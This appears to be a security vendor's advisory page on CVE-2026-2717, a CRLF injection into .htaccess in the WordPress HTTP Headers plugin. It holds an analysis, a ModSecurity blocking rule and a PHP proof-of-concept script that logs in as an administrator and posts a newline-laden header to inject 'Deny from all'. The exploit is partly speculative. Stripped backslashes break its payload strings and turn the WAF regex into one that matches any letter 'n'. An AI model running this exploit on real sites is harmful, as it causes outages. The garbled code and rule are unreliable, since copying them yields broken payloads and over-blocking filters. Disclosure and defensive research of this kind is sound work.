Atomic Edge analysis of CVE-2026-2717 (metadata-based): This vulnerability affects the HTTP Headers plugin for WordPress up to version 1.19.2. It allows authenticated attackers with Administrator-level access to inject arbitrary newline characters and Apache directives into the .htaccess file through custom header name and value fields. The CVSS v3.1 score is 5.5 (Medium), with a vector of AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H, indicating a high availability impact through denial of service.
The root cause is insufficient sanitization of custom header name and value fields before they are written to the Apache .htaccess file using the `insert_with_markers()` WordPress function. Based on the CWE-93 classification (CRLF Injection), the plugin likely fails to strip or encode carriage return (%0d) and line feed (%0a) characters from user input. The description confirms that arbitrary newline characters can be injected, leading to Apache configuration parse errors. Atomic Edge research infers that the vulnerable code resides in the plugin’s settings page where custom headers are defined, likely within a function that writes the .htaccess file without proper input validation or encoding.
Exploitation requires an authenticated attacker with Administrator-level access to the WordPress admin area. The attacker navigates to the HTTP Headers plugin settings (typically under Settings > HTTP Headers or a similar admin menu). In the ‘Custom Headers’ section, they can inject CRLF sequences (e.g., %0d%0a or actual newline characters) into the header name or value fields. For example, setting a header name to “X-Custom: valuenDeny from alln” would inject a new line and an Apache directive. The plugin then writes this input directly into the .htaccess file, causing Apache to interpret the injected directives, potentially leading to configuration parsing errors and a site-wide denial of service.
Remediation requires proper sanitization of all custom header name and value inputs before writing them to the .htaccess file. The plugin should strip or reject any input containing CRLF characters (%0d, %0a, or actual newline characters). Additionally, the plugin should validate that header names and values conform to HTTP specifications (e.g., no newlines allowed in header fields). Using functions like `esc_attr()` or custom validation to reject newlines would mitigate this issue. Since no patched version is available, administrators should disable or remove the plugin until a fix is released.
If exploited, this vulnerability can cause Apache configuration parse errors, making the site inaccessible to all visitors (denial of service). The impact is limited to availability, as the attacker cannot read or modify data directly through this injection, but the site outage can be severe. Administrator-level access is required, reducing the likelihood of exploitation but increasing the potential for insider threats or compromised admin accounts to cause widespread disruption.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2717 (metadata-based)
# Blocks CRLF injection attempts in the HTTP Headers plugin custom header fields
# Targets the WordPress admin settings page submission
SecRule REQUEST_URI "@streq /wp-admin/options.php"
"id:20262717,phase:2,deny,status:403,chain,msg:'CVE-2026-2717 CRLF Injection in HTTP Headers plugin',severity:'CRITICAL',tag:'CVE-2026-2717'"
SecRule ARGS_POST:option_page "@streq http-headers" "chain"
SecRule ARGS_POST|ARGS_POST:http_headers_custom_headers "@rx (?:%0[da]|%0[da]%0[da]|rn|n)" "t:none,t:urlDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2717 - HTTP Headers <= 1.19.2 - Authenticated (Administrator+) CRLF Injection via Custom Header Values
/*
* This proof-of-concept demonstrates CRLF injection in the HTTP Headers plugin.
* Assumptions:
* 1. The plugin is installed and activated on the target WordPress site.
* 2. An attacker has valid Administrator-level credentials.
* 3. The plugin stores custom headers in a settings page accessible via wp-admin.
* 4. The vulnerable endpoint is likely an AJAX action or a POST request to the plugin's settings page.
* Based on the plugin slug 'http-headers', the action might be 'http_headers_save' or similar.
* 5. The plugin writes these headers to .htaccess using insert_with_markers().
*/
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$admin_username = 'admin'; // Change to administrator username
$admin_password = 'password'; // Change to administrator password
// Step 1: Login and get WordPress nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $admin_username,
'pwd' => $admin_password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Access the HTTP Headers settings page to get nonce and action
$settings_url = $target_url . '/wp-admin/options-general.php?page=http-headers';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce (assumes form field name _wpnonce or similar; adjust as needed)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/i', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
die('Could not extract nonce. The plugin may use a different form structure.');
}
// Step 3: Inject CRLF payload via custom header
// Payload: inject newline and Apache directive that causes parse error (e.g., "Deny from all")
// The vulnerability allows injecting arbitrary Apache directives; this PoC uses a line that will cause a config error.
$injected_line = "Deny from all";
$malicious_header_name = "X-Custom: valuen" . $injected_line;
$malicious_header_value = "testnAlsoInvalidDirective";
// Determine the action (likely 'save' or 'update' based on plugin conventions)
// We assume the form submits to options.php with a 'action' parameter or directly to the plugin's update script.
$save_url = $target_url . '/wp-admin/options.php';
$post_data = array(
'_wpnonce' => $nonce,
'action' => 'update',
'option_page' => 'http-headers',
'http_headers_custom_headers' => array(
array(
'name' => $malicious_header_name,
'value' => $malicious_header_value
)
)
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
if ($http_code == 302 || $http_code == 200) {
echo "Payload submitted. Check if the .htaccess file was modified or site is inaccessible.n";
} else {
echo "Submission may have failed. Check cookies and nonce.n";
}
// Clean up
unlink('/tmp/cookies.txt');
?>
